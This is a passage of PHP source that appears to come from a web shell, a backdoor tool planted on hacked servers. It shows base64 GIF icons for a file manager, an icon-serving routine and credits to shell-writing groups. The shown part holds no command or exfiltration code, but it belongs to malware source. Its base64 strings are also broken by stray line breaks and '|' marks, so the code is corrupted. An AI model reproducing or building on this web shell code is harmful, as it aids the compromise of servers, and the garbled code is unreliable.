"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/
|
||
8yZAMyZM8yZ".
|
||
|
||
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/
|
||
8AZv8A".
|
||
|
||
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/
|
||
+ZZv+Zmf+Z".
|
||
|
||
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///
|
||
yH5BAEAABAALAAAAAAJAAsA".
|
||
|
||
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/
|
||
iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
|
||
|
||
"AQEAOw==",
|
||
|
||
"sql_button_empty"=>
|
||
|
||
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
|
||
/wD/".
|
||
|
||
"/////
|
||
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz
|
||
/wBm".
|
||
|
||
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/
|
||
AAD/".
|
||
|
||
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/
|
||
zNmADNmMzNm".
|
||
|
||
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/
|
||
ZjP/".
|
||
|
||
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/
|
||
2ZmAGZmM2ZmZmZmmWZm".
|
||
|
||
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/
|
||
zGb/".
|
||
|
||
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm
|
||
/5mZ".
|
||
|
||
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//
|
||
8wAAMwA".
|
||
|
||
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/
|
||
8yZAMyZM8yZ".
|
||
|
||
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/
|
||
8AZv8A".
|
||
|
||
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/
|
||
+ZZv+Zmf+Z".
|
||
|
||
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///
|
||
yH5BAEAABAALAAAAAAJAAoA".
|
||
|
||
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
|
||
|
||
"sql_button_insert"=>
|
||
|
||
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
|
||
/wD/".
|
||
|
||
"/////
|
||
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz
|
||
/wBm".
|
||
|
||
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/
|
||
AAD/".
|
||
|
||
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/
|
||
zNmADNmMzNm".
|
||
|
||
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/
|
||
ZjP/".
|
||
|
||
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/
|
||
2ZmAGZmM2ZmZmZmmWZm".
|
||
|
||
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/
|
||
zGb/".
|
||
|
||
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm
|
||
/5mZ".
|
||
|
||
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//
|
||
8wAAMwA".
|
||
|
||
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/
|
||
8yZAMyZM8yZ".
|
||
|
||
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/
|
||
8AZv8A".
|
||
|
||
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/
|
||
+ZZv+Zmf+Z".
|
||
|
||
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///
|
||
yH5BAEAABAALAAAAAANAAwA".
|
||
|
||
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/
|
||
FBf+y0jR48eQGUc6JBgQADs=",
|
||
|
||
"up"=>
|
||
|
||
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///
|
||
wAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
|
||
|
||
|
||
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
|
||
|
||
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
|
||
|
||
"write"=>
|
||
|
||
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///
|
||
wAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/
|
||
ze".
|
||
|
||
|
||
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
|
||
|
||
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
|
||
|
||
"ext_asp"=>
|
||
|
||
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A
|
||
/wD/".
|
||
|
||
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/
|
||
1eRgI".
|
||
|
||
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
|
||
|
||
"ext_mp3"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//
|
||
AAAAAAAAAANU".
|
||
|
||
|
||
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
|
||
|
||
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
|
||
|
||
"ext_avi"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///
|
||
4CAgMDAwP8AAAAAAAAAAAAAAANM".
|
||
|
||
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/
|
||
IhBYTcjxe4".
|
||
|
||
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
|
||
|
||
"ext_cgi"=>
|
||
|
||
|
||
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
|
||
|
||
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/
|
||
cMah6".
|
||
|
||
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/
|
||
Hv/S".
|
||
|
||
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//
|
||
4iEpQ".
|
||
|
||
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/
|
||
jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
|
||
|
||
|
||
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
|
||
|
||
|
||
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
|
||
|
||
"RYtMAgEAOw==",
|
||
|
||
"ext_cmd"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//
|
||
AAAAAANI".
|
||
|
||
|
||
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
|
||
|
||
"dmrYAMn1onq/YKpjvEgAADs=",
|
||
|
||
"ext_cpp"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///
|
||
wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
|
||
|
||
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/
|
||
349FiNoFw44rtlqhOL4Ra".
|
||
|
||
"Eq7YrLDE7a4SADs=",
|
||
|
||
"ext_ini"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//
|
||
AAAAAAAAAANL".
|
||
|
||
|
||
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
|
||
|
||
"SnEjgPVarHEHgrB43JvszsQEADs=",
|
||
|
||
"ext_diz"=>
|
||
|
||
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/
|
||
3J+l9bs".
|
||
|
||
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr
|
||
/+Dv".
|
||
|
||
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9
|
||
/8T3".
|
||
|
||
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/
|
||
8Tl98zr".
|
||
|
||
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/
|
||
09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
|
||
|
||
|
||
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
|
||
|
||
|
||
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
|
||
|
||
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/
|
||
2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
|
||
|
||
"4rfW+NXe6Oby/
|
||
5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
|
||
|
||
|
||
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
|
||
|
||
|
||
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
|
||
|
||
|
||
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
|
||
|
||
"Ow==",
|
||
|
||
"ext_doc"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/
|
||
4CAgAAAAAAAAAAAAANR".
|
||
|
||
|
||
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
|
||
|
||
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
|
||
|
||
"ext_exe"=>
|
||
|
||
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///
|
||
wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
|
||
|
||
|
||
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
|
||
|
||
"xhIAOw==",
|
||
|
||
"ext_h"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///
|
||
wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
|
||
|
||
|
||
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
|
||
|
||
"Wq/NknbbSgAAOw==",
|
||
|
||
"ext_hpp"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///
|
||
wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
|
||
|
||
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/
|
||
d43yroKmLADlPBis6LwKNAFj7jfaWVR".
|
||
|
||
"UqUagnbLdZa+YFcCADs=",
|
||
|
||
"ext_htaccess"=>
|
||
|
||
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//
|
||
AAAAAAAAAAM6".
|
||
|
||
"WEXW/
|
||
k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
|
||
|
||
"AAA7",
|
||
|
||
"ext_html"=>
|
||
|
||
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd
|
||
/HNz".
|
||
|
||
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/
|
||
4GhbFoXJEO1CANDSociGkbACHi20U3P".
|
||
|
||
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/
|
||
MK8KBDk".
|
||
|
||
|
||
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
|
||
|
||
"ADs=",
|
||
|
||
"ext_jpg"=>
|
||
|
||
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/
|
||
AIAAAACA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
|
||
|
||
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/
|
||
NZqgftd".
|
||
|
||
"FxEAOw==",
|
||
|
||
"ext_js"=>
|
||
|
||
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//
|
||
wCAgAAAAAAAAAADUCi63CEgxibH".
|
||
|
||
|
||
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
|
||
|
||
"a00AjYYBbc/o9HjNniUAADs=",
|
||
|
||
"ext_lnk"=>
|
||
|
||
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/
|
||
JlfFLFS6K1rGLWjO".
|
||
|
||
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/
|
||
lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
|
||
|
||
|
||
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
|
||
|
||
|
||
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
|
||
|
||
|
||
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
|
||
|
||
|
||
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
|
||
|
||
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/
|
||
hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
|
||
|
||
"ADs=",
|
||
|
||
"ext_log"=>
|
||
|
||
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////
|
||
AAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/
|
||
wN".
|
||
|
||
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
|
||
|
||
"ext_php"=>
|
||
|
||
"R0lGODlhEAAQAIABAAAAAP///
|
||
ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
|
||
|
||
"aGeyYpqJlRG/rlwAADs=",
|
||
|
||
"ext_pl"=>
|
||
|
||
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/
|
||
vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
|
||
|
||
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
|
||
|
||
"ext_swf"=>
|
||
|
||
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/
|
||
OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
|
||
|
||
"nAAAAP///////
|
||
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
|
||
|
||
|
||
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
|
||
|
||
|
||
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
|
||
|
||
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
|
||
|
||
"ext_tar"=>
|
||
|
||
|
||
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
|
||
|
||
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5
|
||
/8XF".
|
||
|
||
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/
|
||
wA4XhVDAAGD".
|
||
|
||
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/
|
||
wBXov9syvRjwOhatQCHV17p".
|
||
|
||
|
||
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/
|
||
AwcQCQkg".
|
||
|
||
|
||
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
|
||
|
||
|
||
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
|
||
|
||
"u4tLAgEAOw==",
|
||
|
||
"ext_txt"=>
|
||
|
||
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///
|
||
wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
|
||
|
||
"SArE3lDJFka91rKpA/
|
||
DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
|
||
|
||
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
|
||
|
||
"ext_wri"=>
|
||
|
||
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////
|
||
AAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
|
||
|
||
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
|
||
|
||
"ext_xml"=>
|
||
|
||
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///
|
||
wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
|
||
|
||
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/
|
||
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
|
||
|
||
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/
|
||
PIGJboKBQkGPkEEQ".
|
||
|
||
"IQA7"
|
||
|
||
);
|
||
|
||
//Untuk optimalisasi ukuran dan kecepatan.
|
||
|
||
$imgequals = array(
|
||
|
||
"ext_tar"=>array
|
||
("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
|
||
|
||
"ext_php"=>array
|
||
("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
|
||
|
||
"ext_jpg"=>array
|
||
("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
|
||
|
||
"ext_html"=>array("ext_html","ext_htm"),
|
||
|
||
"ext_avi"=>array
|
||
("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
|
||
|
||
"ext_lnk"=>array("ext_lnk","ext_url"),
|
||
|
||
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
|
||
|
||
"ext_doc"=>array("ext_doc","ext_dot"),
|
||
|
||
"ext_js"=>array("ext_js","ext_vbs"),
|
||
|
||
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
|
||
|
||
"ext_wri"=>array("ext_wri","ext_rtf"),
|
||
|
||
"ext_swf"=>array("ext_swf","ext_fla"),
|
||
|
||
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
|
||
|
||
"ext_htaccess"=>array
|
||
("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
|
||
|
||
);
|
||
|
||
if (!$getall) {
|
||
|
||
header("Content-type: image/gif");
|
||
|
||
header("Cache-control: public");
|
||
|
||
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
|
||
|
||
header("Cache-control: max-age=".(60*60*24*7));
|
||
|
||
header("Last-Modified: ".date("r",filemtime(__FILE__)));
|
||
|
||
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k;
|
||
break;}}
|
||
|
||
if (empty($images[$img])) {$img = "small_unk";}
|
||
|
||
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
|
||
|
||
echo base64_decode($images[$img]);
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!
|
||
empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
|
||
|
||
natsort($images);
|
||
|
||
$k = array_keys($images);
|
||
|
||
echo "<center>";
|
||
|
||
foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\"
|
||
border=\"1\"><br>";}
|
||
|
||
echo "</center>";
|
||
|
||
}
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
if ($act == "about") {
|
||
|
||
echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>
|
||
tristram [CCTeaM]</b><br>".
|
||
|
||
"Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>
|
||
".
|
||
|
||
"Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz
|
||
CoMMuNiTy]</b><br><br>".
|
